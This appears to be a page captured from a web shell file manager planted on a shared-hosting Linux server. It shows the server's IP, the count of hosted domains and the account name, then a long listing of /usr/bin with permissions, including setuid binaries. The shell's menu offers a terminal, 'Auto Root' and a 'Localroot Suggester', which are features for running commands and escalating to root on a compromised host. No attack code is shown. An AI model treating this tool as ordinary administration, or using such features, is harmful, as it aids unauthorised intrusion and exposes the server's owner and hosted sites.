Linux srv.fwservers.com 4.18.0-477.21.1.el8_8.x86_64 #1 SMP Thu Aug 10 13:51:50 EDT 2023 x86_64
Apache
Server IP : 199.127.63.82 & Your IP : 216.73.217.89
Domains : 56 Domain
User : aconstruction
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
bin /
Delete
Unzip
Name
Size
Permission
Date
Action
2to3
106
B
-rwxr-xr-x
2026-08-18 15:09
2to3-3.6
106
B
-rwxr-xr-x
2026-08-18 15:09
GET
15.84
KB
-rwxr-xr-x
2022-04-22 20:13
HEAD
15.84
KB
-rwxr-xr-x
2022-04-22 20:13
Mail
408.89
KB
-rwxr-xr-x
2019-10-13 00:19
POST
15.84
KB
-rwxr-xr-x
2022-04-22 20:13
[
53.6
KB
-rwxr-xr-x
2026-07-28 19:49
a2x
36.15
KB
-rwxr-xr-x
2019-11-27 15:09
a2x.py
36.15
KB
-rwxr-xr-x
2019-11-27 15:09
ab
72.63
KB
-rwxr-xr-x
2026-08-11 22:33
ac
33.07
KB
-rwxr-xr-x
2019-10-21 16:09
aclocal
35.62
KB
-rwxr-xr-x
2023-10-14 20:00
aclocal-1.16
35.62
KB
-rwxr-xr-x
2023-10-14 20:00
acyclic
12.41
KB
-rwxr-xr-x
2024-04-06 12:47
addr2line
33.42
KB
-rwxr-xr-x
2025-12-18 14:21
agentxtrap
24.54
KB
-rwxr-xr-x
2026-01-19 08:19
alias
29
B
-rwxr-xr-x
2025-08-26 08:48
alt-java
11.74
KB
-rwxr-xr-x
2026-08-20 15:05
alt-mysql-reconfigure
35.68
KB
-rwxr-xr-x
2026-08-17 08:48
alt-php-mysql-reconfigure
35.68
KB
-rwxr-xr-x
2026-08-17 08:48
alt-php-mysql-reconfigure.py
35.68
KB
-rwxr-xr-x
2026-08-17 08:48
animate
11.84
KB
-rwxr-xr-x
2026-07-22 08:42
appstream-compose
33.21
KB
-rwxr-xr-x
2019-11-13 14:06
appstream-util
114.34
KB
-rwxr-xr-x
2019-11-13 14:06
apropos
54.04
KB
-rwxr-xr-x
2021-10-08 13:04
apxs
19.35
KB
-rwxr-xr-x
2026-08-11 22:29
ar
61.96
KB
-rwxr-xr-x
2025-12-18 14:21
arch
37.34
KB
-rwxr-xr-x
2026-07-28 19:49
arpaname
11.82
KB
-rwxr-xr-x
2026-08-13 18:53
as
889.91
KB
-rwxr-xr-x
2025-12-18 14:21
asciidoc
244.06
KB
-rwxr-xr-x
2019-11-27 15:09
asciidoc.py
244.06
KB
-rwxr-xr-x
2019-11-27 15:09
aspell
159.5
KB
-rwxr-xr-x
2022-04-18 15:10
at
57.33
KB
-rwsr-xr-x
2022-10-10 10:23
atq
57.33
KB
-rwsr-xr-x
2022-10-10 10:23
atrm
57.33
KB
-rwsr-xr-x
2022-10-10 10:23
attr
12.27
KB
-rwxr-xr-x
2026-08-18 13:09
audit2allow
14.85
KB
-rwxr-xr-x
2024-07-02 21:08
audit2why
14.85
KB
-rwxr-xr-x
2024-07-02 21:08
aulast
20.58
KB
-rwxr-xr-x
2025-07-15 09:41
aulastlog
12.44
KB
-rwxr-xr-x
2025-07-15 09:41
ausyscall
12.27
KB
-rwxr-xr-x
2025-07-15 09:41
authselect
41.13
KB
-rwxr-xr-x
2023-10-14 18:06
authvar
102.89
KB
-rwxr-xr-x
2023-04-04 13:57
autoconf
14.42
KB
-rwxr-xr-x
2024-08-13 19:30
autoheader
8.33
KB
-rwxr-xr-x
2024-08-13 19:30
autom4te
31.43
KB
-rwxr-xr-x
2024-08-13 19:30
automake
251.9
KB
-rwxr-xr-x
2023-10-14 20:00
automake-1.16
251.9
KB
-rwxr-xr-x
2023-10-14 20:00
autopoint
25.95
KB
-rwxr-xr-x
2019-11-18 17:16
autoreconf
20.57
KB
-rwxr-xr-x
2024-08-13 19:30
autoscan
16.72
KB
-rwxr-xr-x
2024-08-13 19:30
autoupdate
33.08
KB
-rwxr-xr-x
2024-08-13 19:30
auvirt
32.73
KB
-rwxr-xr-x
2025-07-15 09:41
awk
669.77
KB
-rwxr-xr-x
2022-04-18 15:56
b2sum
57.69
KB
-rwxr-xr-x
2026-07-28 19:49
base32
41.47
KB
-rwxr-xr-x
2026-07-28 19:49
base64
41.48
KB
-rwxr-xr-x
2026-07-28 19:49
basename
37.41
KB
-rwxr-xr-x
2026-07-28 19:49
bash
1.1
MB
-rwxr-xr-x
2025-08-26 08:48
bashbug
7.18
KB
-rwxr-xr-x
2025-08-26 08:48
bashbug-64
7.18
KB
-rwxr-xr-x
2025-08-26 08:48
batch
137
B
-rwxr-xr-x
2022-10-10 10:23
bc
94.98
KB
-rwxr-xr-x
2019-10-12 12:34
bcomps
20.62
KB
-rwxr-xr-x
2024-04-06 12:47
bdftopcf
45.4
KB
-rwxr-xr-x
2021-10-09 23:42
bg
26
B
-rwxr-xr-x
2025-08-26 08:48
bind9-config
3.34
KB
-rwxr-xr-x
2026-08-13 18:53
bison
437.72
KB
-rwxr-xr-x
2019-10-12 12:28
blkiomon
25.7
KB
-rwxr-xr-x
2024-09-24 08:24
blkparse
51.39
KB
-rwxr-xr-x
2024-09-24 08:24
blkrawverify
16.4
KB
-rwxr-xr-x
2024-09-24 08:24
blktrace
43.07
KB
-rwxr-xr-x
2024-09-24 08:24
bno_plot.py
3.47
KB
-rwxr-xr-x
2024-09-24 08:24
bond2team
22.74
KB
-rwxr-xr-x
2020-07-26 09:58
bootctl
45.15
KB
-rwxr-xr-x
2026-06-16 17:17
brotli
739.2
KB
-rwxr-xr-x
2026-02-10 14:44
btrace
891
B
-rwxr-xr-x
2024-09-24 08:24
btrecord
17.39
KB
-rwxr-xr-x
2024-09-24 08:24
btreplay
29.72
KB
-rwxr-xr-x
2024-09-24 08:24
btt
80.84
KB
-rwxr-xr-x
2024-09-24 08:24
bunzip2
36.86
KB
-rwxr-xr-x
2025-01-28 01:38
busctl
77.27
KB
-rwxr-xr-x
2026-06-16 17:17
byacc
108.48
KB
-rwxr-xr-x
2019-10-14 19:26
bzcat
36.86
KB
-rwxr-xr-x
2025-01-28 01:38
bzcmp
2.08
KB
-rwxr-xr-x
2025-01-28 01:38
bzdiff
2.08
KB
-rwxr-xr-x
2025-01-28 01:38
bzegrep
1.64
KB
-rwxr-xr-x
2025-01-28 01:38
bzfgrep
1.64
KB
-rwxr-xr-x
2025-01-28 01:38
bzgrep
1.64
KB
-rwxr-xr-x
2025-01-28 01:38
bzip2
36.86
KB
-rwxr-xr-x
2025-01-28 01:38
bzip2recover
16.44
KB
-rwxr-xr-x
2025-01-28 01:38
bzless
1.23
KB
-rwxr-xr-x
2025-01-28 01:38
bzmore
1.23
KB
-rwxr-xr-x
2025-01-28 01:38
c++
1.21
MB
-rwxr-xr-x
2025-08-26 09:47
c++filt
28.89
KB
-rwxr-xr-x
2025-12-18 14:21
c89
224
B
-rwxr-xr-x
2025-08-26 09:45
c99
215
B
-rwxr-xr-x
2025-08-26 09:45
ca-legacy
1.61
KB
-rwxr-xr-x
2025-10-30 14:25
cairo-sphinx
69.71
KB
-rwxr-xr-x
2022-04-18 16:06
cal
65.98
KB
-rwxr-xr-x
2026-02-04 20:18
callgrind_annotate
43.62
KB
-rwxr-xr-x
2026-06-16 16:35
callgrind_control
12.72
KB
-rwxr-xr-x
2026-06-16 16:35
captoinfo
85.31
KB
-rwxr-xr-x
2023-10-14 18:54
cat
37.46
KB
-rwxr-xr-x
2026-07-28 19:49
catchsegv
3.21
KB
-rwxr-xr-x
2026-07-21 14:46
catman
41.45
KB
-rwxr-xr-x
2021-10-08 13:04
cc
1.21
MB
-rwxr-xr-x
2025-08-26 09:47
ccomps
24.72
KB
-rwxr-xr-x
2024-04-06 12:47
cd
26
B
-rwxr-xr-x
2025-08-26 08:48
centrino-decode
11.27
KB
-rwxr-xr-x
2026-08-26 07:56
certutil
199.15
KB
-rwxr-xr-x
2026-04-14 17:44
cg_annotate
42.56
KB
-rwxr-xr-x
2026-06-16 16:35
cg_diff
11.36
KB
-rwxr-xr-x
2026-06-16 16:35
cg_merge
10.26
KB
-rwxr-xr-x
2026-06-16 16:35
chacl
16.38
KB
-rwxr-xr-x
2026-07-22 11:05
chage
77.68
KB
-rwsr-xr-x
2025-12-18 13:51
chardetect
400
B
-rwxr-xr-x
2019-10-12 19:18
chattr
16.41
KB
-rwxr-xr-x
2025-10-07 07:08
chcat
13.57
KB
-rwxr-xr-x
2024-07-02 21:08
chcon
70.34
KB
-rwxr-xr-x
2026-07-28 19:49
check-regexp
109.59
KB
-rwxr-xr-x
2024-08-13 19:55
checkmodule
427.01
KB
-rwxr-xr-x
2019-12-10 17:48
checkpolicy
488.64
KB
-rwxr-xr-x
2019-12-10 17:48
checksctp
9.01
KB
-rwxr-xr-x
2019-12-05 11:44
chfn
32.9
KB
-rws--x--x
2026-02-04 20:18
chgrp
66.27
KB
-rwxr-xr-x
2026-07-28 19:49
chmem
45.47
KB
-rwxr-xr-x
2026-02-04 20:18
chmod
62.2
KB
-rwxr-xr-x
2026-07-28 19:49
chown
70.29
KB
-rwxr-xr-x
2026-07-28 19:49
chronyc
127.6
KB
-rwxr-xr-x
2024-11-05 07:47
chrt
37.19
KB
-rwxr-xr-x
2026-02-04 20:18
chsh
24.72
KB
-rwx--x--x
2026-02-04 20:18
chvt
12.53
KB
-rwxr-xr-x
2023-10-14 21:01
cifsiostat
41.35
KB
-rwxr-xr-x
2024-07-03 09:57
circo
12.26
KB
-rwxr-xr-x
2024-04-06 12:47
cksum
37.39
KB
-rwxr-xr-x
2026-07-28 19:49
cl-linksafe-apply-group
554
B
-rwxr-xr-x
2022-08-30 11:44
cl-linksafe-reconfigure
4.83
KB
-rwxr-xr-x
2022-08-30 11:44
claude
11.15
MB
-rwxr-xr-x
2026-01-29 08:53
clear
12.54
KB
-rwxr-xr-x
2023-10-14 18:54
cluster
518.33
KB
-rwxr-xr-x
2024-04-06 12:47
cmp
103.76
KB
-rwxr-xr-x
2020-05-04 15:15
cmsutil
122.46
KB
-rwxr-xr-x
2026-04-14 17:44
cockpit-bridge
500.39
KB
-rwxr-xr-x
2026-05-28 14:05
col
29.01
KB
-rwxr-xr-x
2026-02-04 20:18
colcrt
16.48
KB
-rwxr-xr-x
2026-02-04 20:18
colrm
24.88
KB
-rwxr-xr-x
2026-02-04 20:18
column
49.47
KB
-rwxr-xr-x
2026-02-04 20:18
combinediff
55.44
KB
-rwxr-xr-x
2019-10-16 17:20
comm
41.56
KB
-rwxr-xr-x
2026-07-28 19:49
command
31
B
-rwxr-xr-x
2025-08-26 08:48
compare
11.85
KB
-rwxr-xr-x
2026-07-22 08:42
compile_et
1.31
KB
-rwxr-xr-x
2025-10-07 07:07
composite
11.84
KB
-rwxr-xr-x
2026-07-22 08:42
config_data
6.97
KB
-rwxr-xr-x
2019-10-13 10:59
conjure
11.84
KB
-rwxr-xr-x
2026-07-22 08:42
convert
11.84
KB
-rwxr-xr-x
2026-07-22 08:42
coredumpctl
44.91
KB
-rwxr-xr-x
2026-06-16 17:17
corelist
14.64
KB
-rwxr-xr-x
2019-10-13 11:00
corepack
81
B
-rwxr-xr-x
2023-06-20 17:20
cp
147.98
KB
-rwxr-xr-x
2026-07-28 19:49
cpan
8.17
KB
-rwxr-xr-x
2025-06-03 14:32
cpan-mirrors
4.19
KB
-rwxr-xr-x
2025-06-03 14:32
cpapi1
3.33
MB
-rwxr-xr-x
2026-08-18 11:03
cpapi2
3.33
MB
-rwxr-xr-x
2026-08-18 11:03
cpapi3
3.33
MB
-rwxr-xr-x
2026-08-18 11:03
cpio
159.8
KB
-rwxr-xr-x
2022-04-18 17:19
cpp
1.21
MB
-rwxr-xr-x
2025-08-26 09:47
cpp2html
47
B
-rwxr-xr-x
2024-08-13 19:55
cpupower
66.91
KB
-rwxr-xr-x
2026-08-26 07:52
crb
2.58
KB
-rwxr--r--
2025-04-22 17:22
crc32
1.02
KB
-rwxr-xr-x
2019-11-12 18:41
crlutil
134.95
KB
-rwxr-xr-x
2026-04-14 17:44
cronnext
49.8
KB
-rwxr-xr-x
2024-04-06 11:40
crontab
61.67
KB
-rwsr-xr-x
2024-04-06 11:40
csplit
53.68
KB
-rwxr-xr-x
2026-07-28 19:49
csslint-0.6
24.56
KB
-rwxr-xr-x
2020-09-22 21:07
ctags
272.94
KB
-rwxr-xr-x
2023-04-02 03:50
curl
230.08
KB
-rwxr-xr-x
2026-08-20 14:33
cut
49.52
KB
-rwxr-xr-x
2026-07-28 19:49
cvtsudoers
284.21
KB
-rwxr-xr-x
2026-04-29 08:49
cxpm
29.11
KB
-rwxr-xr-x
2024-03-30 13:53
date
105.95
KB
-rwxr-xr-x
2026-07-28 19:49
db_archive
12.45
KB
-rwxr-xr-x
2021-09-21 16:38
db_checkpoint
16.48
KB
-rwxr-xr-x
2021-09-21 16:38
db_deadlock
16.48
KB
-rwxr-xr-x
2021-09-21 16:38
db_dump
16.51
KB
-rwxr-xr-x
2021-09-21 16:38
db_dump185
69.55
KB
-rwxr-xr-x
2021-09-21 16:38
db_hotbackup
20.49
KB
-rwxr-xr-x
2021-09-21 16:38
db_load
28.61
KB
-rwxr-xr-x
2021-09-21 16:38
db_log_verify
16.52
KB
-rwxr-xr-x
2021-09-21 16:38
db_printlog
33.4
KB
-rwxr-xr-x
2021-09-21 16:38
db_recover
16.51
KB
-rwxr-xr-x
2021-09-21 16:38
db_replicate
16.49
KB
-rwxr-xr-x
2021-09-21 16:38
db_stat
16.48
KB
-rwxr-xr-x
2021-09-21 16:38
db_tuner
24.55
KB
-rwxr-xr-x
2021-09-21 16:38
db_upgrade
12.45
KB
-rwxr-xr-x
2021-09-21 16:38
db_verify
16.46
KB
-rwxr-xr-x
2021-09-21 16:38
dbus-binding-tool
110.43
KB
-rwxr-xr-x
2019-10-25 12:53
dbus-cleanup-sockets
16.39
KB
-rwxr-xr-x
2026-05-05 11:24
dbus-daemon
239.7
KB
-rwxr-xr-x
2026-05-05 11:24
dbus-monitor
28.58
KB
-rwxr-xr-x
2026-05-05 11:24
dbus-run-session
15.88
KB
-rwxr-xr-x
2026-05-05 11:24
dbus-send
28.54
KB
-rwxr-xr-x
2026-05-05 11:24
dbus-test-tool
24.6
KB
-rwxr-xr-x
2026-05-05 11:24
dbus-update-activation-environment
16.41
KB
-rwxr-xr-x
2026-05-05 11:24
dbus-uuidgen
12.38
KB
-rwxr-xr-x
2026-05-05 11:24
dc
53.02
KB
-rwxr-xr-x
2019-10-12 12:34
dd
77.97
KB
-rwxr-xr-x
2026-07-28 19:49
deallocvt
12.54
KB
-rwxr-xr-x
2023-10-14 21:01
debuginfo-install
3.62
KB
-rwxr-xr-x
2024-04-08 10:02
debuginfod-find
16.47
KB
-rwxr-xr-x
2025-08-25 12:56
dehtmldiff
1.32
KB
-rwxr-xr-x
2019-10-16 17:20
delv
42.46
KB
-rwxr-xr-x
2026-08-13 18:53
df
91.09
KB
-rwxr-xr-x
2026-07-28 19:49
diff
268.01
KB
-rwxr-xr-x
2020-05-04 15:15
diff3
128.6
KB
-rwxr-xr-x
2020-05-04 15:15
diffimg
12.27
KB
-rwxr-xr-x
2024-04-06 12:47
diffstat
45.54
KB
-rwxr-xr-x
2019-10-13 08:21
dig
162.17
KB
-rwxr-xr-x
2026-08-13 18:53
dijkstra
16.71
KB
-rwxr-xr-x
2024-04-06 12:47
dir
139.89
KB
-rwxr-xr-x
2026-07-28 19:49
dircolors
49.55
KB
-rwxr-xr-x
2026-07-28 19:49
dirmngr
579.89
KB
-rwxr-xr-x
2026-01-16 01:48
dirmngr-client
120.12
KB
-rwxr-xr-x
2026-01-16 01:48
dirname
33.36
KB
-rwxr-xr-x
2026-07-28 19:49
display
11.84
KB
-rwxr-xr-x
2026-07-22 08:42
distro
389
B
-rwxr-xr-x
2023-12-18 11:16
dltest
11.87
KB
-rwxr-xr-x
2025-12-18 13:02
dmesg
77.88
KB
-rwxr-xr-x
2026-02-04 20:18
dnf
2.05
KB
-rwxr-xr-x
2025-03-11 09:47
dnf-3
2.05
KB
-rwxr-xr-x
2025-03-11 09:47
dnsdomainname
21.16
KB
-rwxr-xr-x
2019-10-11 13:06
dnstap-read
20.43
KB
-rwxr-xr-x
2026-08-13 18:53
domainname
21.16
KB
-rwxr-xr-x
2019-10-11 13:06
dos2unix
58.54
KB
-rwxr-xr-x
2019-10-12 00:46
dot
12.26
KB
-rwxr-xr-x
2024-04-06 12:47
dot2gxl
41.3
KB
-rwxr-xr-x
2024-04-06 12:47
dotty
2.04
KB
-rwxr-xr-x
2024-04-06 12:47
doveadm
950.69
KB
-rwxr-xr-x
2026-07-15 21:51
doveconf
388.52
KB
-rwxr-xr-x
2026-07-15 21:51
dovecot-sysreport
6.28
KB
-rwxr-xr-x
2026-07-15 21:49
dpkg
316.17
KB
-rwxr-xr-x
2021-12-15 12:46
dpkg-deb
165.5
KB
-rwxr-xr-x
2021-12-15 12:46
dpkg-divert
157.75
KB
-rwxr-xr-x
2021-12-15 12:46
dpkg-maintscript-helper
20.67
KB
-rwxr-xr-x
2021-12-15 12:46
dpkg-query
165.84
KB
-rwxr-xr-x
2021-12-15 12:46
dpkg-realpath
4.05
KB
-rwxr-xr-x
2021-12-15 12:46
dpkg-split
132.39
KB
-rwxr-xr-x
2021-12-15 12:46
dpkg-statoverride
66.41
KB
-rwxr-xr-x
2021-12-15 12:46
dpkg-trigger
87.66
KB
-rwxr-xr-x
2021-12-15 12:46
dracut
67.56
KB
-rwxr-xr-x
2026-08-14 00:13
dtrace
17.39
KB
-rwxr-xr-x
2023-10-14 13:06
du
107
KB
-rwxr-xr-x
2026-07-28 19:49
dumpkeys
169.88
KB
-rwxr-xr-x
2023-10-14 21:01
dumpsexp
16.44
KB
-rwxr-xr-x
2026-07-29 02:15
dwp
2.13
MB
-rwxr-xr-x
2025-12-18 14:21
dwz
167.64
KB
-rwxr-xr-x
2021-10-09 03:26
ea-php72
5.49
MB
-rwxr-xr-x
2026-08-11 23:17
ea-php72-pear
383
B
-rwxr-xr-x
2026-08-11 23:32
ea-php72-pecl
299
B
-rwxr-xr-x
2026-08-11 23:32
ea-php74
6.09
MB
-rwxr-xr-x
2026-08-11 23:27
ea-php74-pear
383
B
-rwxr-xr-x
2026-08-11 23:40
ea-php74-pecl
299
B
-rwxr-xr-x
2026-08-11 23:40
ea-php80
7.61
MB
-rwxr-xr-x
2026-08-04 22:55
ea-php80-pear
383
B
-rwxr-xr-x
2026-08-04 23:05
ea-php80-pecl
299
B
-rwxr-xr-x
2026-08-04 23:05
ea-php81
7.72
MB
-rwxr-xr-x
2026-08-04 22:52
ea-php81-pear
383
B
-rwxr-xr-x
2026-08-04 23:00
ea-php81-pecl
299
B
-rwxr-xr-x
2026-08-04 23:00
ea-php82
7.77
MB
-rwxr-xr-x
2026-08-04 22:55
ea-php82-pear
383
B
-rwxr-xr-x
2026-08-04 23:07
ea-php82-pecl
299
B
-rwxr-xr-x
2026-08-04 23:07
ea-wappspector
100
B
-rwxr-xr-x
2026-05-18 19:25
easy_install-2
234
B
-rwxr-xr-x
2024-04-10 05:04
easy_install-2.7
234
B
-rwxr-xr-x
2024-04-10 05:04
easy_install-3
246
B
-rwxr-xr-x
2025-07-15 09:13
easy_install-3.6
246
B
-rwxr-xr-x
2025-07-15 09:13
echo
37.35
KB
-rwxr-xr-x
2026-07-28 19:49
ed
57.28
KB
-rwxr-xr-x
2019-10-11 13:05
edgepaint
420.79
KB
-rwxr-xr-x
2024-04-06 12:47
editdiff
2
KB
-rwxr-xr-x
2019-10-16 17:20
efikeygen
102.81
KB
-rwxr-xr-x
2023-04-04 13:57
efisiglist
98.8
KB
-rwxr-xr-x
2023-04-04 13:57
egrep
28
B
-rwxr-xr-x
2019-10-11 15:15
eject
57.78
KB
-rwxr-xr-x
2026-02-04 20:18
elfedit
33.28
KB
-rwxr-xr-x
2025-12-18 14:21
enc2xs
40.97
KB
-rwxr-xr-x
2019-10-13 08:46
encguess
2.91
KB
-rwxr-xr-x
2019-10-13 08:46
enchant
21.08
KB
-rwxr-xr-x
2019-10-23 20:03
enchant-2
20.25
KB
-rwxr-xr-x
2021-04-08 10:42
enchant-lsmod
13.09
KB
-rwxr-xr-x
2019-10-23 20:03
enchant-lsmod-2
12.35
KB
-rwxr-xr-x
2021-04-08 10:42
env
41.36
KB
-rwxr-xr-x
2026-07-28 19:49
envml
4.1
KB
-rwxr-xr-x
2023-10-14 18:46
envsubst
48.99
KB
-rwxr-xr-x
2019-11-18 17:17
eps2eps
639
B
-rwxr-xr-x
2025-06-03 02:48
eqn
232.16
KB
-rwxr-xr-x
2019-10-13 14:29
espdiff
1.53
KB
-rwxr-xr-x
2019-10-16 17:20
eu-addr2line
28.48
KB
-rwxr-xr-x
2025-08-25 12:56
eu-ar
40.9
KB
-rwxr-xr-x
2025-08-25 12:56
eu-elfclassify
26.41
KB
-rwxr-xr-x
2025-08-25 12:56
eu-elfcmp
348.74
KB
-rwxr-xr-x
2025-08-25 12:56
eu-elfcompress
32.95
KB
-rwxr-xr-x
2025-08-25 12:56
eu-elflint
429.24
KB
-rwxr-xr-x
2025-08-25 12:56
eu-findtextrel
20.68
KB
-rwxr-xr-x
2025-08-25 12:56
eu-make-debug-archive
2.84
KB
-rwxr-xr-x
2025-08-25 12:56
eu-nm
361.16
KB
-rwxr-xr-x
2025-08-25 12:56
eu-objdump
349.01
KB
-rwxr-xr-x
2025-08-25 12:56
eu-ranlib
24.63
KB
-rwxr-xr-x
2025-08-25 12:56
eu-readelf
574.11
KB
-rwxr-xr-x
2025-08-25 12:56
eu-size
20.51
KB
-rwxr-xr-x
2025-08-25 12:56
eu-srcfiles
25.08
KB
-rwxr-xr-x
2025-08-25 12:56
eu-stack
29.41
KB
-rwxr-xr-x
2025-08-25 12:56
eu-strings
24.58
KB
-rwxr-xr-x
2025-08-25 12:56
eu-strip
369.05
KB
-rwxr-xr-x
2025-08-25 12:56
eu-unstrip
52.91
KB
-rwxr-xr-x
2025-08-25 12:56
event_rpcgen.py
54.26
KB
-rwxr-xr-x
2019-10-12 00:29
evmctl
62.54
KB
-rwxr-xr-x
2021-04-08 15:44
ex
1.13
MB
-rwxr-xr-x
2026-07-30 12:18
expand
41.59
KB
-rwxr-xr-x
2026-07-28 19:49
expr
49.56
KB
-rwxr-xr-x
2026-07-28 19:49
factor
85.97
KB
-rwxr-xr-x
2026-07-28 19:49
fallocate
28.96
KB
-rwxr-xr-x
2026-02-04 20:18
false
33.32
KB
-rwxr-xr-x
2026-07-28 19:49
fc
26
B
-rwxr-xr-x
2025-08-26 08:48
fc-cache
132
B
-rwxr-xr-x
2021-08-16 11:04
fc-cache-64
20.35
KB
-rwxr-xr-x
2021-10-09 09:02
fc-cat
16.35
KB
-rwxr-xr-x
2021-10-09 09:02
fc-conflist
12.25
KB
-rwxr-xr-x
2021-10-09 09:02
fc-list
12.25
KB
-rwxr-xr-x
2021-10-09 09:02
fc-match
16.26
KB
-rwxr-xr-x
2021-10-09 09:02
fc-pattern
12.26
KB
-rwxr-xr-x
2021-10-09 09:02
fc-query
12.24
KB
-rwxr-xr-x
2021-10-09 09:02
fc-scan
12.26
KB
-rwxr-xr-x
2021-10-09 09:02
fc-validate
16.26
KB
-rwxr-xr-x
2021-10-09 09:02
fdp
12.26
KB
-rwxr-xr-x
2024-04-06 12:47
fg
26
B
-rwxr-xr-x
2025-08-26 08:48
fgconsole
12.55
KB
-rwxr-xr-x
2023-10-14 21:01
fgrep
28
B
-rwxr-xr-x
2019-10-11 15:15
filan
94.72
KB
-rwxr-xr-x
2025-07-15 09:33
file
24.69
KB
-rwxr-xr-x
2025-10-07 06:30
filterdiff
51.95
KB
-rwxr-xr-x
2019-10-16 17:20
fincore
33.04
KB
-rwxr-xr-x
2026-02-04 20:18
find
223.27
KB
-rwxr-xr-x
2025-12-18 14:57
find-repos-of-install
3.62
KB
-rwxr-xr-x
2024-04-08 10:02
findmnt
70.61
KB
-rwxr-xr-x
2026-02-04 20:18
fips-finish-install
1.29
KB
-rwxr-xr-x
2023-08-01 15:18
fips-mode-setup
3.91
KB
-rwxr-xr-x
2023-08-01 15:18
firewall-cmd
139.6
KB
-rwxr-xr-x
2026-08-18 13:10
firewall-offline-cmd
120.73
KB
-rwxr-xr-x
2026-08-18 13:10
fixcvsdiff
1.83
KB
-rwxr-xr-x
2019-10-16 17:20
flex
428.45
KB
-rwxr-xr-x
2019-10-12 12:33
flex++
428.45
KB
-rwxr-xr-x
2019-10-12 12:33
flipdiff
55.44
KB
-rwxr-xr-x
2019-10-16 17:20
flock
33.2
KB
-rwxr-xr-x
2026-02-04 20:18
fmt
45.49
KB
-rwxr-xr-x
2026-07-28 19:49
fold
41.42
KB
-rwxr-xr-x
2026-07-28 19:49
fonttosfnt
41.18
KB
-rwxr-xr-x
2021-10-09 23:42
free
20.79
KB
-rwxr-xr-x
2023-10-14 20:31
freetype-config
4.31
KB
-rwxr-xr-x
2025-03-31 19:37
fribidi
21.14
KB
-rwxr-xr-x
2022-10-08 11:16
ftp
101.2
KB
-rwxr-xr-x
2019-10-12 12:59
funzip
36.63
KB
-rwxr-xr-x
2025-06-03 02:10
g++
1.21
MB
-rwxr-xr-x
2025-08-26 09:47
g13
211.98
KB
-rwxr-xr-x
2026-01-16 01:48
gapplication
20.45
KB
-rwxr-xr-x
2026-09-01 08:11
gawk
669.77
KB
-rwxr-xr-x
2022-04-18 15:56
gc
16.64
KB
-rwxr-xr-x
2024-04-06 12:47
gcc
1.21
MB
-rwxr-xr-x
2025-08-26 09:47
gcc-ar
36.66
KB
-rwxr-xr-x
2025-08-26 09:47
gcc-nm
36.66
KB
-rwxr-xr-x
2025-08-26 09:47
gcc-ranlib
36.66
KB
-rwxr-xr-x
2025-08-26 09:47
gcore
3.35
KB
-rwxr-xr-x
2023-10-11 19:09
gcov
1.31
MB
-rwxr-xr-x
2025-08-26 09:47
gcov-dump
570.96
KB
-rwxr-xr-x
2025-08-26 09:47
gcov-tool
607.77
KB
-rwxr-xr-x
2025-08-26 09:47
gdb
10.99
MB
-rwxr-xr-x
2023-10-11 19:10
gdb-add-index
3.28
KB
-rwxr-xr-x
2023-10-11 19:09
gdbm_dump
21.05
KB
-rwxr-xr-x
2022-10-08 13:22
gdbm_load
25.31
KB
-rwxr-xr-x
2022-10-08 13:22
gdbmtool
111.57
KB
-rwxr-xr-x
2022-10-08 13:22
gdbus
48.72
KB
-rwxr-xr-x
2026-09-01 08:11
gdk-pixbuf-query-loaders-64
15.93
KB
-rwxr-xr-x
2026-04-27 11:28
gdk-pixbuf-thumbnailer
20.45
KB
-rwxr-xr-x
2026-04-27 11:28
gdlib-config
2.79
KB
-rwxr-xr-x
2020-08-29 08:49
gencat
24.84
KB
-rwxr-xr-x
2026-07-21 14:52
gendiff
499
B
-rwxr-xr-x
2024-12-17 04:11
genl-ctrl-list
12.04
KB
-rwxr-xr-x
2022-10-08 11:39
geoiplookup
21.89
KB
-rwxr-xr-x
2019-11-28 22:06
geoiplookup6
21.65
KB
-rwxr-xr-x
2019-11-28 22:06
geqn
232.16
KB
-rwxr-xr-x
2019-10-13 14:29
getconf
32.46
KB
-rwxr-xr-x
2026-07-21 14:52
getent
33.13
KB
-rwxr-xr-x
2026-07-21 14:52
getfacl
28.7
KB
-rwxr-xr-x
2026-07-22 11:05
getfattr
24.73
KB
-rwxr-xr-x
2026-08-18 13:09
getkeycodes
12.54
KB
-rwxr-xr-x
2023-10-14 21:01
getopt
20.53
KB
-rwxr-xr-x
2026-02-04 20:18
getopts
31
B
-rwxr-xr-x
2025-08-26 08:48
gettext
48.97
KB
-rwxr-xr-x
2019-11-18 17:17
gettext.sh
4.52
KB
-rwxr-xr-x
2019-11-18 17:16
gettextize
42.69
KB
-rwxr-xr-x
2019-11-18 17:16
ghostscript
12.35
KB
-rwxr-xr-x
2025-06-03 02:48
gio
85.22
KB
-rwxr-xr-x
2026-09-01 08:11
gio-querymodules-64
16.3
KB
-rwxr-xr-x
2026-09-01 08:11
git
3.67
MB
-rwxr-xr-x
2025-07-23 06:59
git-receive-pack
3.67
MB
-rwxr-xr-x
2025-07-23 06:59
git-shell
2.13
MB
-rwxr-xr-x
2025-07-23 06:59
git-upload-archive
3.67
MB
-rwxr-xr-x
2025-07-23 06:59
git-upload-pack
3.67
MB
-rwxr-xr-x
2025-07-23 06:59
glib-compile-schemas
48.85
KB
-rwxr-xr-x
2026-09-01 08:11
gmake
235.32
KB
-rwxr-xr-x
2022-04-18 16:38
gml2gv
41.23
KB
-rwxr-xr-x
2024-04-06 12:47
gneqn
908
B
-rwxr-xr-x
2019-10-13 14:29
gnroff
3.23
KB
-rwxr-xr-x
2019-10-13 14:29
gpasswd
82.17
KB
-rwsr-xr-x
2025-12-18 13:51
gpg
1.04
MB
-rwxr-xr-x
2026-01-16 01:48
gpg-agent
419.3
KB
-rwxr-xr-x
2026-01-16 01:48
gpg-connect-agent
165.3
KB
-rwxr-xr-x
2026-01-16 01:48
gpg-error
34.16
KB
-rwxr-xr-x
2019-10-12 12:20
gpg-error-config
2.26
KB
-rwxr-xr-x
2019-10-12 12:20
gpg-wks-server
206.71
KB
-rwxr-xr-x
2026-01-16 01:48
gpg-zip
3.44
KB
-rwxr-xr-x
2026-01-16 01:48
gpg2
1.04
MB
-rwxr-xr-x
2026-01-16 01:48
gpgconf
176.1
KB
-rwxr-xr-x
2026-01-16 01:48
gpgme-json
85.68
KB
-rwxr-xr-x
2024-04-06 12:29
gpgparsemail
28.74
KB
-rwxr-xr-x
2026-01-16 01:48
gpgrt-config
2.26
KB
-rwxr-xr-x
2019-10-12 12:20
gpgsm
514.46
KB
-rwxr-xr-x
2026-01-16 01:48
gpgsplit
87.02
KB
-rwxr-xr-x
